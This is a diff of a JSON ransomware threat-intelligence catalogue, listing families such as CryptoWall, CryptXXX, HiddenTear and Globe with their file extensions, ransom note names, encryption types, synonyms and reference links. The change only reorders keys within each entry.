],
- "encryption": "AES-256",
"ransomnotes": [
"README!!!.txt",
"GetYouFiles.txt",
"crjoker.html"
]
},
- "uuid": "2fb307a2-8752-4521-8973-75b68703030d"
+ "uuid": "2fb307a2-8752-4521-8973-75b68703030d",
+ "value": "CryptoJoker"
},
{
- "value": "CryptoLocker",
"description": "Ransomware no longer relevant",
"meta": {
"extensions": [
@@ -5272,35 +5276,32 @@
"https://reaqta.com/2016/04/uncovering-ransomware-distribution-operation-part-2/"
]
},
- "uuid": "b35b1ca2-f99c-4495-97a5-b8f30225cb90"
+ "uuid": "b35b1ca2-f99c-4495-97a5-b8f30225cb90",
+ "value": "CryptoLocker"
},
{
- "value": "CryptoLocker 1.0.0",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/839747940122001408"
]
},
- "uuid": "8d5e3b1f-e333-4eed-8dec-d74f19d6bcbb"
+ "uuid": "8d5e3b1f-e333-4eed-8dec-d74f19d6bcbb",
+ "value": "CryptoLocker 1.0.0"
},
{
- "value": "CryptoLocker 5.1",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/782890104947867649"
]
},
- "uuid": "e1412d2a-2a94-4c83-aed0-9e09523514a4"
+ "uuid": "e1412d2a-2a94-4c83-aed0-9e09523514a4",
+ "value": "CryptoLocker 5.1"
},
{
- "value": "CryptoMix",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Zeta"
- ],
"extensions": [
".code",
".scl",
@@ -5351,28 +5352,31 @@
"https://www.bleepingcomputer.com/news/security/system-cryptomix-ransomware-variant-released/",
"https://www.bleepingcomputer.com/news/security/mole66-cryptomix-ransomware-variant-released/",
"https://www.bleepingcomputer.com/news/security/new-backup-cryptomix-ransomware-variant-actively-infecting-users/"
+ ],
+ "synonyms": [
+ "Zeta"
]
},
- "uuid": "c76110ea-15f1-4adf-a28d-c707374dbb3a"
+ "uuid": "c76110ea-15f1-4adf-a28d-c707374dbb3a",
+ "value": "CryptoMix"
},
{
- "value": "CryptoRansomeware",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/817672617658347521"
]
},
- "uuid": "de53f392-8794-43d1-a38b-c0b90c20a3fb"
+ "uuid": "de53f392-8794-43d1-a38b-c0b90c20a3fb",
+ "value": "CryptoRansomeware"
},
{
- "value": "CryptoRoger",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".crptrgr"
],
- "encryption": "AES",
"ransomnotes": [
"!Where_are_my_files!.html"
],
@@ -5380,10 +5384,10 @@
"http://www.bleepingcomputer.com/news/security/new-ransomware-called-cryptoroger-that-appends-crptrgr-to-encrypted-files/"
]
},
- "uuid": "b6fe71ba-b0f4-4cc4-b84c-d3d80a37eada"
+ "uuid": "b6fe71ba-b0f4-4cc4-b84c-d3d80a37eada",
+ "value": "CryptoRoger"
},
{
- "value": "CryptoShadow",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5396,16 +5400,16 @@
"https://twitter.com/struppigel/status/821992610164277248"
]
},
- "uuid": "b11563ce-cced-4c8b-a3a1-0c4ff76aa0ef"
+ "uuid": "b11563ce-cced-4c8b-a3a1-0c4ff76aa0ef",
+ "value": "CryptoShadow"
},
{
- "value": "CryptoShocker",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".locked"
],
- "encryption": "AES",
"ransomnotes": [
"ATTENTION.url"
],
@@ -5413,10 +5417,10 @@
"http://www.bleepingcomputer.com/forums/t/617601/cryptoshocker-ransomware-help-and-support-topic-locked-attentionurl/"
]
},
- "uuid": "545b4b25-763a-4a5c-8dda-12142c00422c"
+ "uuid": "545b4b25-763a-4a5c-8dda-12142c00422c",
+ "value": "CryptoShocker"
},
{
- "value": "CryptoTorLocker2015",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5430,10 +5434,10 @@
"http://www.bleepingcomputer.com/forums/t/565020/new-cryptotorlocker2015-ransomware-discovered-and-easily-decrypted/"
]
},
- "uuid": "06ec3640-4b93-4e79-a8ec-e24b3d349dd5"
+ "uuid": "06ec3640-4b93-4e79-a8ec-e24b3d349dd5",
+ "value": "CryptoTorLocker2015"
},
{
- "value": "CryptoTrooper",
"description": "Ransomware",
"meta": {
"encryption": "AES",
@@ -5441,10 +5445,10 @@
"http://news.softpedia.com/news/new-open-source-linux-ransomware-shows-infosec-community-divide-508669.shtml"
]
},
- "uuid": "13fdf55f-46f7-4635-96b8-b4806c78a80c"
+ "uuid": "13fdf55f-46f7-4635-96b8-b4806c78a80c",
+ "value": "CryptoTrooper"
},
{
- "value": "CryptoWall 1",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -5454,10 +5458,10 @@
"INSTALL_TOR.URL"
]
},
- "uuid": "5559fbc1-52c6-469c-be97-8f8344765577"
+ "uuid": "5559fbc1-52c6-469c-be97-8f8344765577",
+ "value": "CryptoWall 1"
},
{
- "value": "CryptoWall 2",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -5467,10 +5471,10 @@
"HELP_DECRYPT.HTML"
]
},
- "uuid": "f2780d22-4410-4a2f-a1c3-f43807ed1f19"
+ "uuid": "f2780d22-4410-4a2f-a1c3-f43807ed1f19",
+ "value": "CryptoWall 2"
},
{
- "value": "CryptoWall 3",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -5484,10 +5488,10 @@
"https://www.virustotal.com/en/file/45317968759d3e37282ceb75149f627d648534c5b4685f6da3966d8f6fca662d/analysis/"
]
},
- "uuid": "9d35fe47-5f8c-494c-a74f-23a7ac7f44be"
+ "uuid": "9d35fe47-5f8c-494c-a74f-23a7ac7f44be",
+ "value": "CryptoWall 3"
},
{
- "value": "CryptoWall 4",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5498,15 +5502,12 @@
"HELP_YOUR_FILES.PNG"
]
},
- "uuid": "f7c04ce6-dd30-4a94-acd4-9a3125bcb12e"
+ "uuid": "f7c04ce6-dd30-4a94-acd4-9a3125bcb12e",
+ "value": "CryptoWall 4"
},
{
- "value": "CryptXXX",
"description": "Ransomware Comes with Bedep",
"meta": {
- "synonyms": [
- "CryptProjectXXX"
- ],
"extensions": [
".crypt"
],
@@ -5516,17 +5517,17 @@
"refs": [
"https://support.kaspersky.com/viruses/disinfection/8547",
"http://www.bleepingcomputer.com/virus-removal/cryptxxx-ransomware-help-information"
- ]
- },
- "uuid": "255aac37-e4d2-4eeb-b8de-143f9c2321bd"
- },
- {
- "value": "CryptXXX 2.0",
- "description": "Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.",
- "meta": {
+ ],
"synonyms": [
"CryptProjectXXX"
- ],
+ ]
+ },
+ "uuid": "255aac37-e4d2-4eeb-b8de-143f9c2321bd",
+ "value": "CryptXXX"
+ },
+ {
+ "description": "Ransomware Locks screen. Ransom note names are an ID. Comes with Bedep.",
+ "meta": {
"extensions": [
".crypt"
],
@@ -5537,18 +5538,17 @@
"https://support.kaspersky.com/viruses/disinfection/8547",
"https://www.proofpoint.com/us/threat-insight/post/cryptxxx2-ransomware-authors-strike-back-against-free-decryption-tool",
"http://blogs.cisco.com/security/cryptxxx-technical-deep-dive"
+ ],
+ "synonyms": [
+ "CryptProjectXXX"
]
},
- "uuid": "e272d0b5-cdfc-422a-bb78-9214475daec5"
+ "uuid": "e272d0b5-cdfc-422a-bb78-9214475daec5",
+ "value": "CryptXXX 2.0"
},
{
- "value": "CryptXXX 3.0",
"description": "Ransomware Comes with Bedep",
"meta": {
- "synonyms": [
- "UltraDeCrypter",
- "UltraCrypter"
- ],
"extensions": [
".crypt",
".cryp1",
@@ -5560,12 +5560,16 @@
"https://support.kaspersky.com/viruses/disinfection/8547",
"http://www.bleepingcomputer.com/news/security/cryptxxx-updated-to-version-3-0-decryptors-no-longer-work/",
"http://blogs.cisco.com/security/cryptxxx-technical-deep-dive"
+ ],
+ "synonyms": [
+ "UltraDeCrypter",
+ "UltraCrypter"
]
},
- "uuid": "60a50fe5-53ea-43f0-8a17-e7134f5fc371"
+ "uuid": "60a50fe5-53ea-43f0-8a17-e7134f5fc371",
+ "value": "CryptXXX 3.0"
},
{
- "value": "CryptXXX 3.1",
"description": "Ransomware StilerX credential stealing",
"meta": {
"extensions": [
@@ -5576,16 +5580,16 @@
"https://www.proofpoint.com/us/threat-insight/post/cryptxxx-ransomware-learns-samba-other-new-tricks-with-version3100"
]
},
- "uuid": "3f5a76ea-6b83-443e-b26f-b2b2d02d90e0"
+ "uuid": "3f5a76ea-6b83-443e-b26f-b2b2d02d90e0",
+ "value": "CryptXXX 3.1"
},
{
- "value": "CryPy",
"description": "Ransomware",
"meta": {
+ "encryption": "AES",
"extensions": [
".cry"
],
- "encryption": "AES",
"ransomnotes": [
"README_FOR_DECRYPT.txt"
],
@@ -5593,30 +5597,30 @@
"http://www.bleepingcomputer.com/news/security/ctb-faker-ransomware-does-a-poor-job-imitating-ctb-locker/"
]
},
- "uuid": "0b0f5f33-1871-461d-8e7e-b5e0ebc82311"
+ "uuid": "0b0f5f33-1871-461d-8e7e-b5e0ebc82311",
+ "value": "CryPy"
},
{
- "value": "CTB-Faker",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Citroni"
- ],
+ "encryption": "RSA-2048",
"extensions": [
".ctbl",
".([a-z]{6,7})"
],
- "encryption": "RSA-2048",
"ransomnotes": [
"AllFilesAreLocked .bmp",
"DecryptAllFiles .txt",
".html"
+ ],
+ "synonyms": [
+ "Citroni"
]
},
- "uuid": "6212bf8f-07db-490a-8cef-ac42042076c1"
+ "uuid": "6212bf8f-07db-490a-8cef-ac42042076c1",
+ "value": "CTB-Faker"
},
{
- "value": "CTB-Locker WEB",
"description": "Ransomware websites only",
"meta": {
"refs": [
@@ -5624,20 +5628,17 @@
"https://github.com/eyecatchup/Critroni-php"
]
},
- "uuid": "555b2c6f-0848-4ac1-9443-e4c20814459a"
+ "uuid": "555b2c6f-0848-4ac1-9443-e4c20814459a",
+ "value": "CTB-Locker WEB"
},
{
- "value": "CuteRansomware",
"description": "Ransomware Based on my-Little-Ransomware",
"meta": {
- "synonyms": [
- "my-Little-Ransomware"
- ],
+ "encryption": "AES-128",
"extensions": [
".已加密",
".encrypted"
],
- "encryption": "AES-128",
"ransomnotes": [
"你的檔案被我們加密啦!!!.txt",
"Your files encrypted by our friends !!! txt"
@@ -5645,26 +5646,29 @@
"refs": [
"https://github.com/aaaddress1/my-Little-Ransomware/tree/master/decryptoTool",
"https://github.com/aaaddress1/my-Little-Ransomware"
+ ],
+ "synonyms": [
+ "my-Little-Ransomware"
]
},
- "uuid": "1a369bbf-6f03-454c-b507-15abe2a8bbb4"
+ "uuid": "1a369bbf-6f03-454c-b507-15abe2a8bbb4",
+ "value": "CuteRansomware"
},
{
- "value": "Cyber SpLiTTer Vbs",
"description": "Ransomware Based on HiddenTear",
"meta": {
- "synonyms": [
- "CyberSplitter"
- ],
"refs": [
"https://twitter.com/struppigel/status/778871886616862720",
"https://twitter.com/struppigel/status/806758133720698881"
+ ],
+ "synonyms": [
+ "CyberSplitter"
]
},
- "uuid": "587589df-ee42-43f4-9480-c65d6e1d7e0f"
+ "uuid": "587589df-ee42-43f4-9480-c65d6e1d7e0f",
+ "value": "Cyber SpLiTTer Vbs"
},
{
- "value": "Death Bitches",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5677,10 +5681,10 @@
"https://twitter.com/JaromirHorejsi/status/815555258478981121"
]
},
- "uuid": "0f074c07-613d-43cb-bd5f-37c747d39fe2"
+ "uuid": "0f074c07-613d-43cb-bd5f-37c747d39fe2",
+ "value": "Death Bitches"
},
{
- "value": "DeCrypt Protect",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5690,25 +5694,25 @@
"http://www.malwareremovalguides.info/decrypt-files-with-decrypt_mblblock-exe-decrypt-protect/"
]
},
- "uuid": "c80c78ae-fc05-44cf-8b47-4d50c103ca70"
+ "uuid": "c80c78ae-fc05-44cf-8b47-4d50c103ca70",
+ "value": "DeCrypt Protect"
},
{
- "value": "DEDCryptor",
"description": "Ransomware Based on EDA2",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".ded"
],
- "encryption": "AES-256",
"refs": [
"http://www.bleepingcomputer.com/forums/t/617395/dedcryptor-ded-help-support-topic/",
"http://www.nyxbone.com/malware/DEDCryptor.html"
]
},
- "uuid": "496b6c3c-771a-46cd-8e41-ce7c4168ae20"
+ "uuid": "496b6c3c-771a-46cd-8e41-ce7c4168ae20",
+ "value": "DEDCryptor"
},
{
- "value": "Demo",
"description": "Ransomware only encrypts .jpg files",
"meta": {
"extensions": [
@@ -5721,10 +5725,10 @@
"https://twitter.com/struppigel/status/798573300779745281"
]
},
- "uuid": "b314d86f-92bb-4be3-b32a-19d6f8eb55d4"
+ "uuid": "b314d86f-92bb-4be3-b32a-19d6f8eb55d4",
+ "value": "Demo"
},
{
- "value": "DetoxCrypto",
"description": "Ransomware - Based on Detox: Calipso, We are all Pokemons, Nullbyte",
"meta": {
"encryption": "AES",
@@ -5732,10 +5736,10 @@
"http://www.bleepingcomputer.com/news/security/new-detoxcrypto-ransomware-pretends-to-be-pokemongo-or-uploads-a-picture-of-your-screen/"
]
},
- "uuid": "be094d75-eba8-4ff3-91f1-f8cde687e5ed"
+ "uuid": "be094d75-eba8-4ff3-91f1-f8cde687e5ed",
+ "value": "DetoxCrypto"
},
{
- "value": "Digisom",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -5745,20 +5749,20 @@
"https://twitter.com/PolarToffee/status/829727052316160000"
]
},
- "uuid": "c5b2a0bc-352f-481f-8c35-d378754793c0"
+ "uuid": "c5b2a0bc-352f-481f-8c35-d378754793c0",
+ "value": "Digisom"
},
{
- "value": "DirtyDecrypt",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/demonslay335/status/752586334527709184"
]
},
- "uuid": "5ad8a530-3ab9-48b1-9a75-e1e97b3f77ec"
+ "uuid": "5ad8a530-3ab9-48b1-9a75-e1e97b3f77ec",
+ "value": "DirtyDecrypt"
},
{
- "value": "DMALocker",
"description": "Ransomware no extension change Encrypted files have prefix: Version 1: ABCXYZ11 - Version 2: !DMALOCK - Version 3: !DMALOCK3.0 - Version 4: !DMALOCK4.0",
"meta": {
"encryption": "AES-256 in ECB mode, Version 2-4 also RSA",
@@ -5774,10 +5778,10 @@
"https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-a-new-ransomware-but-no-reason-to-panic/"
]
},
- "uuid": "407ebc7c-5b05-488f-862f-b2bf6c562372"
+ "uuid": "407ebc7c-5b05-488f-862f-b2bf6c562372",
+ "value": "DMALocker"
},
{
- "value": "DMALocker 3.0",
"description": "Ransomware",
"meta": {
"encryption": "AES-256 + XPTLOCK5.0",
@@ -5786,10 +5790,10 @@
"https://blog.malwarebytes.org/threat-analysis/2016/02/dma-locker-strikes-back/"
]
},
- "uuid": "ba39be57-c138-48d5-b46b-d996ff899ffa"
+ "uuid": "ba39be57-c138-48d5-b46b-d996ff899ffa",
+ "value": "DMALocker 3.0"
},
{
- "value": "DNRansomware",
"description": "Ransomware Code to decrypt: 83KYG9NW-3K39V-2T3HJ-93F3Q-GT",
"meta": {
"extensions": [
@@ -5799,16 +5803,16 @@
"https://twitter.com/BleepinComputer/status/822500056511213568"
]
},
- "uuid": "45cae006-5d14-4c95-bb5b-dcf5555d7c78"
+ "uuid": "45cae006-5d14-4c95-bb5b-dcf5555d7c78",
+ "value": "DNRansomware"
},
{
- "value": "Domino",
"description": "Ransomware Based on Hidden Tear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".domino"
],
- "encryption": "AES-256",
"ransomnotes": [
"README_TO_RECURE_YOUR_FILES.txt"
],
@@ -5817,17 +5821,17 @@
"http://www.bleepingcomputer.com/news/security/the-curious-case-of-the-domino-ransomware-a-windows-crack-and-a-cow/"
]
},
- "uuid": "7cb20800-2033-49a4-bdf8-a7da5a24f7f1"
+ "uuid": "7cb20800-2033-49a4-bdf8-a7da5a24f7f1",
+ "value": "Domino"
},
{
- "value": "DoNotChange",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-128",
"extensions": [
".id-7ES642406.cry",
".Do_not_change_the_filename"
],
- "encryption": "AES-128",
"ransomnotes": [
"HOW TO DECODE FILES!!!.txt",
"КАК РАСШИФРОВАТЬ ФАЙЛЫ!!!.txt"
@@ -5836,10 +5840,10 @@
"https://www.bleepingcomputer.com/forums/t/643330/donotchange-ransomware-id-7es642406cry-do-not-change-the-file-namecryp/"
]
},
- "uuid": "2e6f4fa6-5fdf-4d69-b764-063d88ba1dd0"
+ "uuid": "2e6f4fa6-5fdf-4d69-b764-063d88ba1dd0",
+ "value": "DoNotChange"
},
{
- "value": "DummyLocker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5849,10 +5853,10 @@
"https://twitter.com/struppigel/status/794108322932785158"
]
},
- "uuid": "55446b3a-fdc7-4c75-918a-2d9fb5cdf3ff"
+ "uuid": "55446b3a-fdc7-4c75-918a-2d9fb5cdf3ff",
+ "value": "DummyLocker"
},
{
- "value": "DXXD",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5866,34 +5870,31 @@
"https://www.bleepingcomputer.com/news/security/the-dxxd-ransomware-displays-legal-notice-before-users-login/"
]
},
- "uuid": "57108b9e-5af8-4797-9924-e424cb5e9903"
+ "uuid": "57108b9e-5af8-4797-9924-e424cb5e9903",
+ "value": "DXXD"
},
{
- "value": "HiddenTear",
"description": "Ransomware Open sourced C#",
"meta": {
+ "encryption": "AES-256",
+ "extensions": [
+ ".locked"
+ ],
+ "refs": [
+ "http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html"
+ ],
"synonyms": [
"Cryptear",
"EDA2",
"Hidden Tear"
- ],
- "extensions": [
- ".locked"
- ],
- "encryption": "AES-256",
- "refs": [
- "http://www.utkusen.com/blog/dealing-with-script-kiddies-cryptear-b-incident.html"
]
},
- "uuid": "254f4f67-d850-4dc5-8ddb-2e955ddea287"
+ "uuid": "254f4f67-d850-4dc5-8ddb-2e955ddea287",
+ "value": "HiddenTear"
},
{
- "value": "EduCrypt",
"description": "Ransomware Based on Hidden Tear",
"meta": {
- "synonyms": [
- "EduCrypter"
- ],
"extensions": [
".isis",
".locked"
@@ -5904,12 +5905,15 @@
"refs": [
"http://www.filedropper.com/decrypter_1",
"https://twitter.com/JakubKroustek/status/747031171347910656"
+ ],
+ "synonyms": [
+ "EduCrypter"
]
},
- "uuid": "826a341a-c329-4e1e-bc9f-5d44c8317557"
+ "uuid": "826a341a-c329-4e1e-bc9f-5d44c8317557",
+ "value": "EduCrypt"
},
{
- "value": "EiTest",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5920,15 +5924,12 @@
"https://twitter.com/malwrhunterteam/status/845652520202616832"
]
},
- "uuid": "0a24ea0d-3f8a-428a-8b77-ef5281c1ee05"
+ "uuid": "0a24ea0d-3f8a-428a-8b77-ef5281c1ee05",
+ "value": "EiTest"
},
{
- "value": "El-Polocker",
"description": "Ransomware Has a GUI",
"meta": {
- "synonyms": [
- "Los Pollos Hermanos"
- ],
"extensions": [
".ha3"
],
@@ -5936,29 +5937,32 @@
"qwer.html",
"qwer2.html",
"locked.bmp"
+ ],
+ "synonyms": [
+ "Los Pollos Hermanos"
]
},
- "uuid": "63d9cb32-a1b9-46c3-818a-df16d8b9e46a"
+ "uuid": "63d9cb32-a1b9-46c3-818a-df16d8b9e46a",
+ "value": "El-Polocker"
},
{
- "value": "Encoder.xxxx",
"description": "Ransomware Coded in GO",
"meta": {
- "synonyms": [
- "Trojan.Encoder.6491"
- ],
"ransomnotes": [
"Instructions.html"
],
"refs": [
"http://www.bleepingcomputer.com/news/security/the-week-in-ransomware-october-14-2016-exotic-lockydump-comrade-and-more/",
"http://vms.drweb.ru/virus/?_is=1&i=8747343"
+ ],
+ "synonyms": [
+ "Trojan.Encoder.6491"
]
},
- "uuid": "f855609e-b7ab-41e8-aafa-62016f8f4e1a"
+ "uuid": "f855609e-b7ab-41e8-aafa-62016f8f4e1a",
+ "value": "Encoder.xxxx"
},
{
- "value": "encryptoJJS",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -5968,17 +5972,17 @@
"How to recover.enc"
]
},
- "uuid": "3e5deef2-bace-40bc-beb1-5d9009233667"
+ "uuid": "3e5deef2-bace-40bc-beb1-5d9009233667",
+ "value": "encryptoJJS"
},
{
- "value": "Enigma",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-128",
"extensions": [
".enigma",
".1txt"
],
- "encryption": "AES-128",
"ransomnotes": [
"enigma.hta",
"enigma_encr.txt",
@@ -5988,30 +5992,30 @@
"http://www.bleepingcomputer.com/news/security/the-enigma-ransomware-targets-russian-speaking-users/"
]
},
- "uuid": "1b24d240-df72-4388-946b-efa07a9447bb"
+ "uuid": "1b24d240-df72-4388-946b-efa07a9447bb",
+ "value": "Enigma"
},
{
- "value": "Enjey",
"description": "Ransomware Based on RemindMe",
"meta": {
"refs": [
"https://twitter.com/malwrhunterteam/status/839022018230112256"
]
},
- "uuid": "198891fb-26a4-455a-9719-4130bedba103"
+ "uuid": "198891fb-26a4-455a-9719-4130bedba103",
+ "value": "Enjey"
},
{
- "value": "Fairware",
"description": "Ransomware Target Linux O.S.",
"meta": {
"refs": [
"http://www.bleepingcomputer.com/news/security/new-fairware-ransomware-targeting-linux-computers/"
]
},
- "uuid": "6771b42f-1d95-4b2e-bbb5-9ab703bbaa9d"
+ "uuid": "6771b42f-1d95-4b2e-bbb5-9ab703bbaa9d",
+ "value": "Fairware"
},
{
- "value": "Fakben",
"description": "Ransomware Based on Hidden Tear",
"meta": {
"extensions": [
@@ -6024,10 +6028,10 @@
"https://blog.fortinet.com/post/fakben-team-ransomware-uses-open-source-hidden-tear-code"
]
},
- "uuid": "c308346a-2746-4900-8149-464a09086b55"
+ "uuid": "c308346a-2746-4900-8149-464a09086b55",
+ "value": "Fakben"
},
{
- "value": "FakeCryptoLocker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6037,32 +6041,32 @@
"https://twitter.com/PolarToffee/status/812312402779836416"
]
},
- "uuid": "abddc01f-7d76-47d4-985d-ea6d16acccb1"
+ "uuid": "abddc01f-7d76-47d4-985d-ea6d16acccb1",
+ "value": "FakeCryptoLocker"
},
{
- "value": "Fantom",
"description": "Ransomware Based on EDA2",
"meta": {
- "synonyms": [
- "Comrad Circle"
- ],
+ "encryption": "AES-128",
"extensions": [
".fantom",
".comrade"
],
- "encryption": "AES-128",
"ransomnotes": [
"DECRYPT_YOUR_FILES.HTML",
"RESTORE-FILES![id]"
],
"refs": [
"http://www.bleepingcomputer.com/news/security/fantom-ransomware-encrypts-your-files-while-pretending-to-be-windows-update/"
+ ],
+ "synonyms": [
+ "Comrad Circle"
]
},
- "uuid": "35be87a5-b498-4693-8b8d-8b17864ac088"
+ "uuid": "35be87a5-b498-4693-8b8d-8b17864ac088",
+ "value": "Fantom"
},
{
- "value": "FenixLocker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6076,20 +6080,20 @@
"https://twitter.com/fwosar/status/777197255057084416"
]
},
- "uuid": "f9f54046-ed5d-4353-8b81-d92b51f596b4"
+ "uuid": "f9f54046-ed5d-4353-8b81-d92b51f596b4",
+ "value": "FenixLocker"
},
{
- "value": "FILE FROZR",
"description": "Ransomware RaaS",
"meta": {
"refs": [
"https://twitter.com/rommeljoven17/status/846973265650335744"
]
},
- "uuid": "2a50f476-7355-4d58-b0ce-4235b2546c90"
+ "uuid": "2a50f476-7355-4d58-b0ce-4235b2546c90",
+ "value": "FILE FROZR"
},
{
- "value": "FileLocker",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6099,16 +6103,16 @@
"https://twitter.com/jiriatvirlab/status/836616468775251968"
]
},
- "uuid": "b92bc550-7edb-4f8f-96fc-cf47d437df32"
+ "uuid": "b92bc550-7edb-4f8f-96fc-cf47d437df32",
+ "value": "FileLocker"
},
{
- "value": "FireCrypt",
"description": "Ransomware",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".firecrypt"
],
- "encryption": "AES-256",
"ransomnotes": [
"[random_chars]-READ_ME.html"
],
@@ -6116,10 +6120,10 @@
"https://www.bleepingcomputer.com/news/security/firecrypt-ransomware-comes-with-a-ddos-component/"
]
},
- "uuid": "721ba430-fd28-454c-8512-24339ef2235f"
+ "uuid": "721ba430-fd28-454c-8512-24339ef2235f",
+ "value": "FireCrypt"
},
{
- "value": "Flyper",
"description": "Ransomware Based on EDA2 / HiddenTear",
"meta": {
"extensions": [
@@ -6129,10 +6133,10 @@
"https://twitter.com/malwrhunterteam/status/773771485643149312"
]
},
- "uuid": "1a110f7e-8820-4a9a-86c0-db4056f0b911"
+ "uuid": "1a110f7e-8820-4a9a-86c0-db4056f0b911",
+ "value": "Flyper"
},
{
- "value": "Fonco",
"description": "Ransomware contact email safefiles32@mail.ru also as prefix in encrypted file contents",
"meta": {
"ransomnotes": [
@@ -6140,36 +6144,36 @@
"/pronk.txt"
]
},
- "uuid": "3d75cb84-2f14-408d-95bd-f1316bf854e6"
+ "uuid": "3d75cb84-2f14-408d-95bd-f1316bf854e6",
+ "value": "Fonco"
},
{
- "value": "FortuneCookie ",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/struppigel/status/842302481774321664"
]
},
- "uuid": "2db3aafb-b219-4b52-8dfe-ce41416ebeab"
+ "uuid": "2db3aafb-b219-4b52-8dfe-ce41416ebeab",
+ "value": "FortuneCookie "
},
{
- "value": "Free-Freedom",
"description": "Ransomware Unlock code is: adam or adamdude9",
"meta": {
- "synonyms": [
- "Roga"
- ],
"extensions": [
".madebyadam"
],
"refs": [
"https://twitter.com/BleepinComputer/status/812135608374226944"
+ ],
+ "synonyms": [
+ "Roga"
]
},
- "uuid": "175ebcc0-d74f-49b2-9226-c660ca1fe2e8"
+ "uuid": "175ebcc0-d74f-49b2-9226-c660ca1fe2e8",
+ "value": "Free-Freedom"
},
{
- "value": "FSociety",
"description": "Ransomware Based on EDA2 and RemindMe",
"meta": {
"extensions": [
@@ -6186,73 +6190,73 @@
"https://twitter.com/siri_urz/status/795969998707720193"
]
},
- "uuid": "d1e7c0d9-3c96-41b7-a4a2-7eaef64d7b0f"
+ "uuid": "d1e7c0d9-3c96-41b7-a4a2-7eaef64d7b0f",
+ "value": "FSociety"
},
{
- "value": "Fury",
"description": "Ransomware",
"meta": {
"refs": [
"https://support.kaspersky.com/viruses/disinfection/8547"
]
},
- "uuid": "291997b1-72b6-43ea-9365-b4d55eddca71"
+ "uuid": "291997b1-72b6-43ea-9365-b4d55eddca71",
+ "value": "Fury"
},
{
- "value": "GhostCrypt",
"description": "Ransomware Based on Hidden Tear",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".Z81928819"
],
- "encryption": "AES-256",
"refs": [
"https://download.bleepingcomputer.com/demonslay335/GhostCryptDecrypter.zip",
"http://www.bleepingcomputer.com/forums/t/614197/ghostcrypt-z81928819-help-support-topic-read-this-filetxt/"
]
},
- "uuid": "3b681f76-b0e4-4ba7-a113-5dd87d6ee53b"
+ "uuid": "3b681f76-b0e4-4ba7-a113-5dd87d6ee53b",
+ "value": "GhostCrypt"
},
{
- "value": "Gingerbread",
"description": "Ransomware",
"meta": {
"refs": [
"https://twitter.com/ni_fi_70/status/796353782699425792"
]
},
- "uuid": "c6419971-47f8-4c80-a685-77292ff30fa7"
+ "uuid": "c6419971-47f8-4c80-a685-77292ff30fa7",
+ "value": "Gingerbread"
},
{
- "value": "Globe v1",
"description": "Ransomware",
"meta": {
- "synonyms": [
- "Purge"
- ],
+ "encryption": "Blowfish",
"extensions": [
".purge"
],
- "encryption": "Blowfish",
"ransomnotes": [
"How to restore files.hta"
],
"refs": [
"https://success.trendmicro.com/portal_kb_articledetail?solutionid=1114221",
"http://www.bleepingcomputer.com/news/security/the-globe-ransomware-wants-to-purge-your-files/"
+ ],
+ "synonyms": [
+ "Purge"
]
},
- "uuid": "b247b6e5-f51b-4bb5-8f5a-1628843abe99"
+ "uuid": "b247b6e5-f51b-4bb5-8f5a-1628843abe99",
+ "value": "Globe v1"
},
{
- "value": "GNL Locker",
"description": "Ransomware Only encrypts DE or NL country. Variants, from old to latest: Zyklon Locker, WildFire locker, Hades Locker",
"meta": {
+ "encryption": "AES-256",
"extensions": [
".locked",
".locked, e.g., bill.!ID!8MMnF!ID!.locked"
],
- "encryption": "AES-256",
"ransomnotes": [
"UNLOCK_FILES_INSTRUCTIONS.html and .txt"
],
@@ -6260,10 +6264,10 @@
"http://www.bleepingcomputer.com/forums/t/611342/gnl-locker-support-and-help-topic-locked-and-unlock-files-instructionshtml/"
]
},
- "uuid": "390abe30-8b9e-439e-a6d3-2ee978f05fba"
+ "uuid": "390abe30-8b9e-439e-a6d3-2ee978f05fba",
+ "value": "GNL Locker"
},
{
- "value": "Gomasom",
"description": "Ransomware",
"meta": {
"extensions": [
@@ -6274,10 +6278,10 @@
"https://decrypter.emsisoft.com/"
]
},
- "uuid": "70b85861-f419-4ad5-9aa6-254db292e043"
+ "uuid": "70b85861-f419-4ad5-9aa6-254db292e043",
+ "value": "Gomasom"
},
{
- "value": "Goopic",
"description": "Ransomware",
"meta": {
"ransomnotes": [
@@ -6287,15 +6291,15 @@
"http://blog.trendmicro.com/trendlabs-security-intelligence/angler-shift-ek-landscape-new-crytpo-ransomware-activity/"
]
},
- "uuid": "3229a370-7a09-4b93-ad89-9555a847b1dd"
+ "uuid": "3229a370-7a09-4b93-ad89-9555a847b1dd",
+ "value": "Goopic"
},
{
- "value": "Gopher",
"description": "Ransomware OS X ransomware (PoC)",
